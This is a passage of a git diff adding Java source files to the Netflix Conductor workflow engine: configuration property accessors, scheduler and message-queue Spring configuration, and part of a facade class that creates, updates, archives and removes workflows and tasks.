boolean isTaskIndexingEnabled() { + return taskIndexingEnabled; + } + + public void setTaskIndexingEnabled(boolean taskIndexingEnabled) { + this.taskIndexingEnabled = taskIndexingEnabled; + } + + public boolean isAsyncIndexingEnabled() { + return asyncIndexingEnabled; + } + + public void setAsyncIndexingEnabled(boolean asyncIndexingEnabled) { + this.asyncIndexingEnabled = asyncIndexingEnabled; + } + + public int getSystemTaskWorkerThreadCount() { + return systemTaskWorkerThreadCount; + } + + public void setSystemTaskWorkerThreadCount(int systemTaskWorkerThreadCount) { + this.systemTaskWorkerThreadCount = systemTaskWorkerThreadCount; + } + + public int getSystemTaskMaxPollCount() { + return systemTaskMaxPollCount; + } + + public void setSystemTaskMaxPollCount(int systemTaskMaxPollCount) { + this.systemTaskMaxPollCount = systemTaskMaxPollCount; + } + + public Duration getSystemTaskWorkerCallbackDuration() { + return systemTaskWorkerCallbackDuration; + } + + public void setSystemTaskWorkerCallbackDuration(Duration systemTaskWorkerCallbackDuration) { + this.systemTaskWorkerCallbackDuration = systemTaskWorkerCallbackDuration; + } + + public Duration getSystemTaskWorkerPollInterval() { + return systemTaskWorkerPollInterval; + } + + public void setSystemTaskWorkerPollInterval(Duration systemTaskWorkerPollInterval) { + this.systemTaskWorkerPollInterval = systemTaskWorkerPollInterval; + } + + public String getSystemTaskWorkerExecutionNamespace() { + return systemTaskWorkerExecutionNamespace; + } + + public void setSystemTaskWorkerExecutionNamespace(String systemTaskWorkerExecutionNamespace) { + this.systemTaskWorkerExecutionNamespace = systemTaskWorkerExecutionNamespace; + } + + public int getIsolatedSystemTaskWorkerThreadCount() { + return isolatedSystemTaskWorkerThreadCount; + } + + public void setIsolatedSystemTaskWorkerThreadCount(int isolatedSystemTaskWorkerThreadCount) { + this.isolatedSystemTaskWorkerThreadCount = isolatedSystemTaskWorkerThreadCount; + } + + public Duration getAsyncUpdateShortRunningWorkflowDuration() { + return asyncUpdateShortRunningWorkflowDuration; + } + + public void setAsyncUpdateShortRunningWorkflowDuration( + Duration asyncUpdateShortRunningWorkflowDuration) { + this.asyncUpdateShortRunningWorkflowDuration = asyncUpdateShortRunningWorkflowDuration; + } + + public Duration getAsyncUpdateDelay() { + return asyncUpdateDelay; + } + + public void setAsyncUpdateDelay(Duration asyncUpdateDelay) { + this.asyncUpdateDelay = asyncUpdateDelay; + } + + public boolean isOwnerEmailMandatory() { + return ownerEmailMandatory; + } + + public void setOwnerEmailMandatory(boolean ownerEmailMandatory) { + this.ownerEmailMandatory = ownerEmailMandatory; + } + + public int getEventQueueSchedulerPollThreadCount() { + return eventQueueSchedulerPollThreadCount; + } + + public void setEventQueueSchedulerPollThreadCount(int eventQueueSchedulerPollThreadCount) { + this.eventQueueSchedulerPollThreadCount = eventQueueSchedulerPollThreadCount; + } + + public Duration getEventQueuePollInterval() { + return eventQueuePollInterval; + } + + public void setEventQueuePollInterval(Duration eventQueuePollInterval) { + this.eventQueuePollInterval = eventQueuePollInterval; + } + + public int getEventQueuePollCount() { + return eventQueuePollCount; + } + + public void setEventQueuePollCount(int eventQueuePollCount) { + this.eventQueuePollCount = eventQueuePollCount; + } + + public Duration getEventQueueLongPollTimeout() { + return eventQueueLongPollTimeout; + } + + public void setEventQueueLongPollTimeout(Duration eventQueueLongPollTimeout) { + this.eventQueueLongPollTimeout = eventQueueLongPollTimeout; + } + + public DataSize getWorkflowInputPayloadSizeThreshold() { + return workflowInputPayloadSizeThreshold; + } + + public void setWorkflowInputPayloadSizeThreshold(DataSize workflowInputPayloadSizeThreshold) { + this.workflowInputPayloadSizeThreshold = workflowInputPayloadSizeThreshold; + } + + public DataSize getMaxWorkflowInputPayloadSizeThreshold() { + return maxWorkflowInputPayloadSizeThreshold; + } + + public void setMaxWorkflowInputPayloadSizeThreshold( + DataSize maxWorkflowInputPayloadSizeThreshold) { + this.maxWorkflowInputPayloadSizeThreshold = maxWorkflowInputPayloadSizeThreshold; + } + + public DataSize getWorkflowOutputPayloadSizeThreshold() { + return workflowOutputPayloadSizeThreshold; + } + + public void setWorkflowOutputPayloadSizeThreshold(DataSize workflowOutputPayloadSizeThreshold) { + this.workflowOutputPayloadSizeThreshold = workflowOutputPayloadSizeThreshold; + } + + public DataSize getMaxWorkflowOutputPayloadSizeThreshold() { + return maxWorkflowOutputPayloadSizeThreshold; + } + + public void setMaxWorkflowOutputPayloadSizeThreshold( + DataSize maxWorkflowOutputPayloadSizeThreshold) { + this.maxWorkflowOutputPayloadSizeThreshold = maxWorkflowOutputPayloadSizeThreshold; + } + + public DataSize getTaskInputPayloadSizeThreshold() { + return taskInputPayloadSizeThreshold; + } + + public void setTaskInputPayloadSizeThreshold(DataSize taskInputPayloadSizeThreshold) { + this.taskInputPayloadSizeThreshold = taskInputPayloadSizeThreshold; + } + + public DataSize getMaxTaskInputPayloadSizeThreshold() { + return maxTaskInputPayloadSizeThreshold; + } + + public void setMaxTaskInputPayloadSizeThreshold(DataSize maxTaskInputPayloadSizeThreshold) { + this.maxTaskInputPayloadSizeThreshold = maxTaskInputPayloadSizeThreshold; + } + + public DataSize getTaskOutputPayloadSizeThreshold() { + return taskOutputPayloadSizeThreshold; + } + + public void setTaskOutputPayloadSizeThreshold(DataSize taskOutputPayloadSizeThreshold) { + this.taskOutputPayloadSizeThreshold = taskOutputPayloadSizeThreshold; + } + + public DataSize getMaxTaskOutputPayloadSizeThreshold() { + return maxTaskOutputPayloadSizeThreshold; + } + + public void setMaxTaskOutputPayloadSizeThreshold(DataSize maxTaskOutputPayloadSizeThreshold) { + this.maxTaskOutputPayloadSizeThreshold = maxTaskOutputPayloadSizeThreshold; + } + + public DataSize getMaxWorkflowVariablesPayloadSizeThreshold() { + return maxWorkflowVariablesPayloadSizeThreshold; + } + + public void setMaxWorkflowVariablesPayloadSizeThreshold( + DataSize maxWorkflowVariablesPayloadSizeThreshold) { + this.maxWorkflowVariablesPayloadSizeThreshold = maxWorkflowVariablesPayloadSizeThreshold; + } + + public int getTaskExecLogSizeLimit() { + return taskExecLogSizeLimit; + } + + public void setTaskExecLogSizeLimit(int taskExecLogSizeLimit) { + this.taskExecLogSizeLimit = taskExecLogSizeLimit; + } + + /** + * @return Returns all the configurations in a map. + */ + public Map getAll() { + Map map = new HashMap<>(); + Properties props = System.getProperties(); + props.forEach((key, value) -> map.put(key.toString(), value)); + return map; + } + + public void setSystemTaskPostponeThreshold(int systemTaskPostponeThreshold) { + this.systemTaskPostponeThreshold = systemTaskPostponeThreshold; + } + + public int getSystemTaskPostponeThreshold() { + return systemTaskPostponeThreshold; + } + + public Duration getSystemTaskQueuePopTimeout() { + return systemTaskQueuePopTimeout; + } + + public void setSystemTaskQueuePopTimeout(Duration systemTaskQueuePopTimeout) { + this.systemTaskQueuePopTimeout = systemTaskQueuePopTimeout; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/config/SchedulerConfiguration.java b/core/src/main/java/com/netflix/conductor/core/config/SchedulerConfiguration.java new file mode 100644 index 0000000..b633666 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/config/SchedulerConfiguration.java @@ -0,0 +1,75 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.config; + +import java.util.concurrent.Executor; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.annotation.EnableScheduling; +import org.springframework.scheduling.annotation.SchedulingConfigurer; +import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler; +import org.springframework.scheduling.config.ScheduledTaskRegistrar; + +import rx.Scheduler; +import rx.schedulers.Schedulers; + +@Configuration(proxyBeanMethods = false) +@EnableScheduling +@EnableAsync +public class SchedulerConfiguration implements SchedulingConfigurer { + + public static final String SWEEPER_EXECUTOR_NAME = "WorkflowSweeperExecutor"; + + /** + * Used by some {@link com.netflix.conductor.core.events.queue.ObservableQueue} implementations. + * + * @see com.netflix.conductor.core.events.queue.ConductorObservableQueue + */ + @Bean + public Scheduler scheduler(ConductorProperties properties) { + ThreadFactory threadFactory = + new BasicThreadFactory.Builder() + .namingPattern("event-queue-poll-scheduler-thread-%d") + .build(); + Executor executorService = + Executors.newFixedThreadPool( + properties.getEventQueueSchedulerPollThreadCount(), threadFactory); + + return Schedulers.from(executorService); + } + + @Bean(SWEEPER_EXECUTOR_NAME) + public Executor sweeperExecutor(ConductorProperties properties) { + if (properties.getSweeperThreadCount() <= 0) { + throw new IllegalStateException( + "conductor.app.sweeper-thread-count must be greater than 0."); + } + ThreadFactory threadFactory = + new BasicThreadFactory.Builder().namingPattern("sweeper-thread-%d").build(); + return Executors.newFixedThreadPool(properties.getSweeperThreadCount(), threadFactory); + } + + @Override + public void configureTasks(ScheduledTaskRegistrar taskRegistrar) { + ThreadPoolTaskScheduler threadPoolTaskScheduler = new ThreadPoolTaskScheduler(); + threadPoolTaskScheduler.setPoolSize(3); // equal to the number of scheduled jobs + threadPoolTaskScheduler.setThreadNamePrefix("scheduled-task-pool-"); + threadPoolTaskScheduler.initialize(); + taskRegistrar.setTaskScheduler(threadPoolTaskScheduler); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueConfiguration.java b/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueConfiguration.java new file mode 100644 index 0000000..fedec9c --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueConfiguration.java @@ -0,0 +1,43 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.dao.InMemoryWorkflowMessageQueueDAO; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; + +/** + * Spring configuration for the Workflow Message Queue (WMQ) feature. + * + *

Registers an {@link InMemoryWorkflowMessageQueueDAO} as the default DAO when no other + * implementation (e.g. Redis) is present on the classpath and WMQ is enabled. Redis-backed + * deployments will have the Redis DAO registered first via {@code AnyRedisCondition}, making this + * fallback unnecessary. + */ +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "conductor.workflow-message-queue.enabled", havingValue = "true") +@EnableConfigurationProperties(WorkflowMessageQueueProperties.class) +public class WorkflowMessageQueueConfiguration { + + @Bean + @ConditionalOnMissingBean(WorkflowMessageQueueDAO.class) + public WorkflowMessageQueueDAO inMemoryWorkflowMessageQueueDAO( + WorkflowMessageQueueProperties properties) { + return new InMemoryWorkflowMessageQueueDAO(properties); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueProperties.java b/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueProperties.java new file mode 100644 index 0000000..d66689c --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueProperties.java @@ -0,0 +1,77 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * Configuration properties for the Workflow Message Queue (WMQ) feature. + * + *

All properties are under the {@code conductor.workflow-message-queue} prefix. + */ +@ConfigurationProperties("conductor.workflow-message-queue") +public class WorkflowMessageQueueProperties { + + /** + * Master switch for the WMQ feature. When false (default), no WMQ beans are registered and the + * push endpoint does not exist. + */ + private boolean enabled = false; + + /** + * Maximum number of messages allowed in a single workflow's queue at one time. Push attempts + * that exceed this limit will be rejected with an error. + */ + private int maxQueueSize = 1000; + + /** TTL in seconds applied to the Redis key. Reset on every push. Default is 24 hours. */ + private long ttlSeconds = 86400; + + /** + * Server-side upper bound on {@code batchSize} for any single PULL_WORKFLOW_MESSAGES execution. + * Prevents runaway batch sizes. + */ + private int maxBatchSize = 100; + + public boolean isEnabled() { + return enabled; + } + + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } + + public int getMaxQueueSize() { + return maxQueueSize; + } + + public void setMaxQueueSize(int maxQueueSize) { + this.maxQueueSize = maxQueueSize; + } + + public long getTtlSeconds() { + return ttlSeconds; + } + + public void setTtlSeconds(long ttlSeconds) { + this.ttlSeconds = ttlSeconds; + } + + public int getMaxBatchSize() { + return maxBatchSize; + } + + public void setMaxBatchSize(int maxBatchSize) { + this.maxBatchSize = maxBatchSize; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/dal/ExecutionDAOFacade.java b/core/src/main/java/com/netflix/conductor/core/dal/ExecutionDAOFacade.java new file mode 100644 index 0000000..63169c5 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/dal/ExecutionDAOFacade.java @@ -0,0 +1,842 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.dal; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.*; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.PreDestroy; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +/** + * Service that acts as a facade for accessing execution data from the {@link ExecutionDAO}, {@link + * RateLimitingDAO} and {@link IndexDAO} storage layers + */ +@SuppressWarnings("SpringJavaInjectionPointsAutowiringInspection") +@Component +public class ExecutionDAOFacade { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExecutionDAOFacade.class); + + private static final String ARCHIVED_FIELD = "archived"; + private static final String RAW_JSON_FIELD = "rawJSON"; + + private final ExecutionDAO executionDAO; + private final QueueDAO queueDAO; + private final IndexDAO indexDAO; + private final RateLimitingDAO rateLimitingDao; + private final ConcurrentExecutionLimitDAO concurrentExecutionLimitDAO; + private final PollDataDAO pollDataDAO; + private final ObjectMapper objectMapper; + private final ConductorProperties properties; + private final ExternalPayloadStorageUtils externalPayloadStorageUtils; + + private final ScheduledThreadPoolExecutor scheduledThreadPoolExecutor; + + public ExecutionDAOFacade( + ExecutionDAO executionDAO, + QueueDAO queueDAO, + IndexDAO indexDAO, + RateLimitingDAO rateLimitingDao, + ConcurrentExecutionLimitDAO concurrentExecutionLimitDAO, + PollDataDAO pollDataDAO, + ObjectMapper objectMapper, + ConductorProperties properties, + ExternalPayloadStorageUtils externalPayloadStorageUtils) { + this.executionDAO = executionDAO; + this.queueDAO = queueDAO; + this.indexDAO = indexDAO; + this.rateLimitingDao = rateLimitingDao; + this.concurrentExecutionLimitDAO = concurrentExecutionLimitDAO; + this.pollDataDAO = pollDataDAO; + this.objectMapper = objectMapper; + this.properties = properties; + this.externalPayloadStorageUtils = externalPayloadStorageUtils; + this.scheduledThreadPoolExecutor = + new ScheduledThreadPoolExecutor( + 4, + (runnable, executor) -> { + LOGGER.warn( + "Request {} to delay updating index dropped in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("delayQueue"); + }); + this.scheduledThreadPoolExecutor.setRemoveOnCancelPolicy(true); + } + + @PreDestroy + public void shutdownExecutorService() { + try { + LOGGER.info("Gracefully shutdown executor service"); + scheduledThreadPoolExecutor.shutdown(); + if (scheduledThreadPoolExecutor.awaitTermination( + properties.getAsyncUpdateDelay().getSeconds(), TimeUnit.SECONDS)) { + LOGGER.debug("tasks completed, shutting down"); + } else { + LOGGER.warn( + "Forcing shutdown after waiting for {} seconds", + properties.getAsyncUpdateDelay()); + scheduledThreadPoolExecutor.shutdownNow(); + } + } catch (InterruptedException ie) { + LOGGER.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledThreadPoolExecutor for delay queue"); + scheduledThreadPoolExecutor.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + public WorkflowModel getWorkflowModel(String workflowId, boolean includeTasks) { + WorkflowModel workflowModel = getWorkflowModelFromDataStore(workflowId, includeTasks); + populateWorkflowAndTaskPayloadData(workflowModel); + return workflowModel; + } + + /** + * Fetches the {@link WorkflowModel} from the primary execution store only. + * + *

Unlike {@link #getWorkflowModel(String, boolean)}, this method does not fall back to + * {@link IndexDAO}. Use it for control-flow decisions that must rely on the source of truth. + * + * @param workflowId the id of the workflow to be fetched + * @param includeTasks if true, fetches the {@link Task} data in the workflow. + * @return the {@link WorkflowModel} object from {@link ExecutionDAO} + * @throws NotFoundException no such {@link WorkflowModel} is found in {@link ExecutionDAO}. + */ + public WorkflowModel getWorkflowModelFromExecutionDAO(String workflowId, boolean includeTasks) { + WorkflowModel workflow = executionDAO.getWorkflow(workflowId, includeTasks); + if (workflow == null) { + throw new NotFoundException("No such workflow found by id: %s", workflowId); + } + populateWorkflowAndTaskPayloadData(workflow); + return workflow; + } + + /** + * Fetches the {@link Workflow} object from the data store given the id. Attempts to fetch from + * {@link ExecutionDAO} first, if not found, attempts to fetch from {@link IndexDAO}. + * + * @param workflowId the id of the workflow to be fetched + * @param includeTasks if true, fetches the {@link Task} data in the workflow. + * @return the {@link Workflow} object + * @throws NotFoundException no such {@link Workflow} is found. + * @throws TransientException parsing the {@link Workflow} object fails. + */ + public Workflow getWorkflow(String workflowId, boolean includeTasks) { + return getWorkflowModelFromDataStore(workflowId, includeTasks).toWorkflow(); + } + + private WorkflowModel getWorkflowModelFromDataStore(String workflowId, boolean includeTasks) { + WorkflowModel workflow = executionDAO.getWorkflow(workflowId, includeTasks); + if (workflow == null) { + LOGGER.debug("Workflow {} not found in executionDAO, checking indexDAO", workflowId); + String json = indexDAO.get(workflowId, RAW_JSON_FIELD); + if (json == null) { + String errorMsg = String.format("No such workflow found by id: %s", workflowId); + LOGGER.error(errorMsg); + throw new NotFoundException(errorMsg); + } + + try { + workflow = objectMapper.readValue(json, WorkflowModel.class); + if (!includeTasks) { + workflow.getTasks().clear(); + } + } catch (IOException e) { + String errorMsg = String.format("Error reading workflow: %s", workflowId); + LOGGER.error(errorMsg); + throw new TransientException(errorMsg, e); + } + } + return workflow; + } + + /** + * Retrieve all workflow executions with the given correlationId and workflow type Uses the + * {@link IndexDAO} to search across workflows if the {@link ExecutionDAO} cannot perform + * searches across workflows. + * + * @param workflowName, workflow type to be queried + * @param correlationId the correlation id to be queried + * @param includeTasks if true, fetches the {@link Task} data within the workflows + * @return the list of {@link Workflow} executions matching the correlationId + */ + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + if (!executionDAO.canSearchAcrossWorkflows()) { + String query = + "correlationId='" + correlationId + "' AND workflowType='" + workflowName + "'"; + SearchResult result = indexDAO.searchWorkflows(query, "*", 0, 1000, null); + return result.getResults().stream() + .parallel() + .map( + workflowId -> { + try { + return getWorkflow(workflowId, includeTasks); + } catch (NotFoundException e) { + // This might happen when the workflow archival failed and the + // workflow was removed from primary datastore + LOGGER.error( + "Error getting the workflow: {} for correlationId: {} from datastore/index", + workflowId, + correlationId, + e); + return null; + } + }) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + } + return executionDAO + .getWorkflowsByCorrelationId(workflowName, correlationId, includeTasks) + .stream() + .map(WorkflowModel::toWorkflow) + .collect(Collectors.toList()); + } + + public List getWorkflowsByName(String workflowName, Long startTime, Long endTime) { + return executionDAO.getWorkflowsByType(workflowName, startTime, endTime).stream() + .map(WorkflowModel::toWorkflow) + .collect(Collectors.toList()); + } + + public List getPendingWorkflowsByName(String workflowName, int version) { + return executionDAO.getPendingWorkflowsByType(workflowName, version).stream() + .map(WorkflowModel::toWorkflow) + .collect(Collectors.toList()); + } + + public List getRunningWorkflowIds(String workflowName, int version) { + return executionDAO.getRunningWorkflowIds(workflowName, version); + } + + public long getPendingWorkflowCount(String workflowName) { + return executionDAO.getPendingWorkflowCount(workflowName); + } + + /** + * Creates a new workflow in the data store + * + * @param workflowModel the workflow to be created + * @return the id of the created workflow + */ + public String createWorkflow(WorkflowModel workflowModel) { + externalizeWorkflowData(workflowModel); + executionDAO.createWorkflow(workflowModel); + // Add to decider queue + queueDAO.push( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + workflowModel.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + if (properties.isAsyncIndexingEnabled()) { + indexDAO.asyncIndexWorkflow(new WorkflowSummary(workflowModel.toWorkflow())); + } else { + indexDAO.indexWorkflow(new WorkflowSummary(workflowModel.toWorkflow())); + } + return workflowModel.getWorkflowId(); + } + + private void externalizeTaskData(TaskModel taskModel) { + externalPayloadStorageUtils.verifyAndUpload( + taskModel, ExternalPayloadStorage.PayloadType.TASK_INPUT); + externalPayloadStorageUtils.verifyAndUpload( + taskModel, ExternalPayloadStorage.PayloadType.TASK_OUTPUT); + } + + private void externalizeWorkflowData(WorkflowModel workflowModel) { + externalPayloadStorageUtils.verifyAndUpload( + workflowModel, ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT); + externalPayloadStorageUtils.verifyAndUpload( + workflowModel, ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT); + } + + /** + * Updates the given workflow in the data store + * + * @param workflowModel the workflow tp be updated + * @return the id of the updated workflow + */ + public String updateWorkflow(WorkflowModel workflowModel) { + workflowModel.setUpdatedTime(System.currentTimeMillis()); + if (workflowModel.getStatus().isTerminal()) { + workflowModel.setEndTime(System.currentTimeMillis()); + } + externalizeWorkflowData(workflowModel); + executionDAO.updateWorkflow(workflowModel); + if (properties.isAsyncIndexingEnabled()) { + if (workflowModel.getStatus().isTerminal() + && workflowModel.getEndTime() - workflowModel.getCreateTime() + < properties.getAsyncUpdateShortRunningWorkflowDuration().toMillis()) { + final String workflowId = workflowModel.getWorkflowId(); + DelayWorkflowUpdate delayWorkflowUpdate = new DelayWorkflowUpdate(workflowId); + LOGGER.debug( + "Delayed updating workflow: {} in the index by {} seconds", + workflowId, + properties.getAsyncUpdateDelay()); + scheduledThreadPoolExecutor.schedule( + delayWorkflowUpdate, + properties.getAsyncUpdateDelay().getSeconds(), + TimeUnit.SECONDS); + Monitors.recordWorkerQueueSize( + "delayQueue", scheduledThreadPoolExecutor.getQueue().size()); + } else { + indexDAO.asyncIndexWorkflow(new WorkflowSummary(workflowModel.toWorkflow())); + } + if (workflowModel.getStatus().isTerminal() && properties.isTaskIndexingEnabled()) { + workflowModel + .getTasks() + .forEach( + taskModel -> + indexDAO.asyncIndexTask( + new TaskSummary(taskModel.toTask()))); + } + } else { + indexDAO.indexWorkflow(new WorkflowSummary(workflowModel.toWorkflow())); + } + return workflowModel.getWorkflowId(); + } + + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + executionDAO.removeFromPendingWorkflow(workflowType, workflowId); + } + + /** + * Removes the workflow from the data store. + * + * @param workflowId the id of the workflow to be removed + * @param archiveWorkflow if true, the workflow and associated tasks will be archived in the + * {@link IndexDAO} before removal from {@link ExecutionDAO}. + */ + public void removeWorkflow(String workflowId, boolean archiveWorkflow) { + WorkflowModel workflow = getWorkflowModelFromDataStore(workflowId, true); + + // Index operations happen before DAO removal to prevent data loss on index failures. + try { + removeWorkflowIndex(workflow, archiveWorkflow); + } catch (NotFoundException e) { + if (archiveWorkflow) { + throw e; + } + // Idempotent deletion: missing index records should not block DAO removal. + LOGGER.info("Workflow {} not found in index during removal, continuing", workflowId, e); + } catch (JsonProcessingException e) { + throw new TransientException("Workflow can not be serialized to json", e); + } + + // Task index removals run before DAO deletion for the same consistency guarantees. + workflow.getTasks() + .forEach( + task -> { + try { + removeTaskIndex(workflow, task, archiveWorkflow); + } catch (NotFoundException e) { + if (archiveWorkflow) { + throw e; + } + // Idempotent deletion: missing index records should not block DAO + // removal. + LOGGER.info( + "Task {} of workflow {} not found in index during removal, continuing", + task.getTaskId(), + workflowId, + e); + } catch (JsonProcessingException e) { + throw new TransientException( + String.format( + "Task %s of workflow %s can not be serialized to json", + task.getTaskId(), workflow.getWorkflowId()), + e); + } + }); + + // Only remove from the source of truth after index operations succeed. + executionDAO.removeWorkflow(workflowId); + + // finally remove from queues + workflow.getTasks() + .forEach( + task -> { + try { + queueDAO.remove(QueueUtils.getQueueName(task), task.getTaskId()); + } catch (Exception e) { + LOGGER.info( + "Error removing task: {} of workflow: {} from {} queue", + workflowId, + task.getTaskId(), + QueueUtils.getQueueName(task), + e); + } + }); + + try { + queueDAO.remove(DECIDER_QUEUE, workflowId); + } catch (Exception e) { + LOGGER.info("Error removing workflow: {} from decider queue", workflowId, e); + } + } + + private void removeWorkflowIndex(WorkflowModel workflow, boolean archiveWorkflow) + throws JsonProcessingException { + if (archiveWorkflow) { + if (workflow.getStatus().isTerminal()) { + // Only allow archival if workflow is in terminal state + // DO NOT archive async, since if archival errors out, workflow data will be lost + indexDAO.updateWorkflow( + workflow.getWorkflowId(), + new String[] {RAW_JSON_FIELD, ARCHIVED_FIELD}, + new Object[] {objectMapper.writeValueAsString(workflow), true}); + } else { + throw new IllegalArgumentException( + String.format( + "Cannot archive workflow: %s with status: %s", + workflow.getWorkflowId(), workflow.getStatus())); + } + } else { + // Not archiving, also remove workflow from index + indexDAO.asyncRemoveWorkflow(workflow.getWorkflowId()); + } + } + + public void removeWorkflowWithExpiry( + String workflowId, boolean archiveWorkflow, int ttlSeconds) { + try { + WorkflowModel workflow = getWorkflowModelFromDataStore(workflowId, true); + + try { + removeWorkflowIndex(workflow, archiveWorkflow); + } catch (NotFoundException e) { + if (archiveWorkflow) { + throw e; + } + // Idempotent deletion: missing index records should not block DAO removal. + LOGGER.info( + "Workflow {} not found in index during removal, continuing", workflowId, e); + } + // remove workflow from DAO with TTL + executionDAO.removeWorkflowWithExpiry(workflowId, ttlSeconds); + } catch (Exception e) { + Monitors.recordDaoError("executionDao", "removeWorkflow"); + throw new TransientException("Error removing workflow: " + workflowId, e); + } + } + + /** + * Reset the workflow state by removing from the {@link ExecutionDAO} and removing this workflow + * from the {@link IndexDAO}. + * + * @param workflowId the workflow id to be reset + */ + public void resetWorkflow(String workflowId) { + getWorkflowModelFromDataStore(workflowId, true); + executionDAO.removeWorkflow(workflowId); + try { + if (properties.isAsyncIndexingEnabled()) { + indexDAO.asyncRemoveWorkflow(workflowId); + } else { + indexDAO.removeWorkflow(workflowId); + } + } catch (Exception e) { + throw new TransientException("Error resetting workflow state: " + workflowId, e); + } + } + + public List createTasks(List tasks) { + tasks.forEach(this::externalizeTaskData); + return executionDAO.createTasks(tasks); + } + + public List getTasksForWorkflow(String workflowId) { + return getTaskModelsForWorkflow(workflowId).stream() + .map(TaskModel::toTask) + .collect(Collectors.toList()); + } + + public List getTaskModelsForWorkflow(String workflowId) { + return executionDAO.getTasksForWorkflow(workflowId); + } + + public TaskModel getTaskModel(String taskId) { + TaskModel taskModel = getTaskFromDatastore(taskId); + if (taskModel != null) { + populateTaskData(taskModel); + } + return taskModel; + } + + public Task getTask(String taskId) { + TaskModel taskModel = getTaskFromDatastore(taskId); + if (taskModel != null) { + return taskModel.toTask(); 